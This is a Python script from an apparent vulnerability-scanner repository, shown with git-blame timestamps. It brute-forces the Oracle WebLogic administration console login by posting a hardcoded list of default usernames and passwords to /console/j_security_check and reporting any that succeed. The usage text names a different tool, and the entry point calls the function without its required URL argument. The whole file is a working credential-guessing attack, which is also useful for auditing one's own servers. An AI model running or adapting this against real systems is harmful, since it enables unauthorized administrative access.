Files
vulnerability-list/weblogic/weblogic_weakpasswd.py

44 lines
1.8 KiB
Python
Raw Normal View History

2018-12-08 19:49:45 +08:00
# -*- coding: utf-8 -*-
import requests
2019-10-22 19:39:10 +08:00
2018-12-08 19:49:45 +08:00
'''
Usage:
moon.py -u tomcat http://127.0.0.1:8080
爆破weblogic用户名账户密码
'''
def attack(URL):
print('[+]开始检测-weblogic-weak_pawsswd漏洞。[+]')
#设定用于爆破的账户密码
2019-10-22 19:39:10 +08:00
a = 0
2019-10-22 20:11:10 +08:00
accounts = ['WebLogic', 'weblogic', 'Oracle@123', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
2019-10-22 19:44:27 +08:00
passwds = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe','wlcsystem', 'wlpisystem','passwd']
2018-12-08 19:49:45 +08:00
for account in accounts:
for passwd in passwds:
url = URL + '/console/j_security_check'
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers = {"User-Agent": user_agent}
data = {'j_username':account,'j_password':passwd,'j_character_encoding':'UTF-8'}
try:
r = requests.post(url,headers=headers,data=data, verify=False)
if 'Oracle WebLogic Server Administration Console' in r.text:
pass
elif 'Home Page - base_domain - WLS Console' in r.text:
print('登录页面'+url)
2019-10-22 19:39:10 +08:00
print('[+]发现弱口令:'+account+' '+passwd+'漏洞检测结束!')
a = 1
2018-12-08 19:49:45 +08:00
else:
2019-10-22 20:11:10 +08:00
pass
# print('[-]爆破发生错误,请检查网页是否可访问!')
2018-12-08 19:49:45 +08:00
except:
2019-10-22 19:39:10 +08:00
print('[-]访问weblogic登录页面出错,漏洞检测结束!')
if a == 0:
print('[-]检测结束未发现weblogic-weak_pawsswd弱口令。[-]')
else:
pass
2019-01-26 11:06:08 +08:00
print('\n')
2018-12-08 19:49:45 +08:00
if __name__ == "__main__":
attack()